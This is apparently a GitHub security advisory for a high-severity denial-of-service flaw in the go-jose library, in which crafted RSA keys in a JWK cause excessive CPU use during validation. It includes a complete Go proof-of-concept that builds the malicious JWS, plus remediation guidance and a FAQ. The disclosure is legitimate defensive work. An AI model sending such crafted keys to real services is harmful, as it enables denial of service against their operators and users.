GHSA-mgcc-cww5-fp2q: High severity go/github.com/go-jose/go-jose/v3 vulnerability
Summary
A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.
Details
go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to crypto/rsa.PrivateKey.Validate(). On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.
https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700
Proof of concept
No special configuration of go-jose is required to reproduce this vulnerability.
go package main
import ( "encoding/base64" "encoding/json" "fmt" "math/big" "time"
"github.com/go-jose/go-jose/v4" )
func main() { // The RSA parameters can be complete junk. The CPU cost is in validating them. primeBits := 16384 p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1)) p.SetBit(p, 0, 1) n := new(big.Int).Lsh(big.NewInt(1), 2048) e := big.NewInt(65537) d := big.NewInt(3) q := big.NewInt(3)
jwk := map[string]string{ "kty": "RSA", "n": base64.RawURLEncoding.EncodeToString(n.Bytes()), "e": base64.RawURLEncoding.EncodeToString(e.Bytes()), "d": base64.RawURLEncoding.EncodeToString(d.Bytes()), "p": base64.RawURLEncoding.EncodeToString(p.Bytes()), "q": base64.RawURLEncoding.EncodeToString(q.Bytes()), }
protected := map[string]any{ "alg": "RS256", "jwk": jwk, } protJSON, := json.Marshal(protected)
jws := map[string]string{ "protected": base64.RawURLEncoding.EncodeToString(protJSON), "payload": base64.RawURLEncoding.EncodeToString([]byte({})), "signature": base64.RawURLEncoding.EncodeToString([]byte("not-a-real-signature")), } jwsJSON, := json.Marshal(jws)
start := time.Now() , err := jose.ParseSigned(string(jwsJSON), []jose.SignatureAlgorithm{jose.RS256}) elapsed := time.Since(start)
fmt.Printf("prime bits: %d\n", primeBits) fmt.Printf("parse time: %s\n", elapsed) fmt.Printf("parse error: %v\n", err) }
Impact
Denial of service vulnerability. Any application that uses go-jose to parse JWKs from untrusted sources is affected and should patch immediately.
Credits
Reported by Yuval Saggie and Mor Weinberger (powered by Echo Frontier)
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/github.com/go-jose/go-jose/v4to a version that resolves this vulnerability.Fixed in 4.1.6
Event History
Frequently Asked Questions
Which deployments are most exposed?
Deployments using go-jose v3 or v4 on Go 1.24 or later are exposed when they parse JWKs that an attacker can supply. No special go-jose configuration is required.
What access does an attacker need?
An attacker needs a path that causes the application to parse a crafted RSA JWK. The supplied RSA parameters do not need to be valid; validation itself incurs the CPU cost.
How can I determine whether this affects my application?
Check whether the application uses go/github.com/go-jose/go-jose/v3 or v4, runs on Go 1.24 or later, and parses RSA JWK input from untrusted or attacker-controlled sources. Affected parsing paths pass RSA key values to crypto/rsa.PrivateKey.Validate().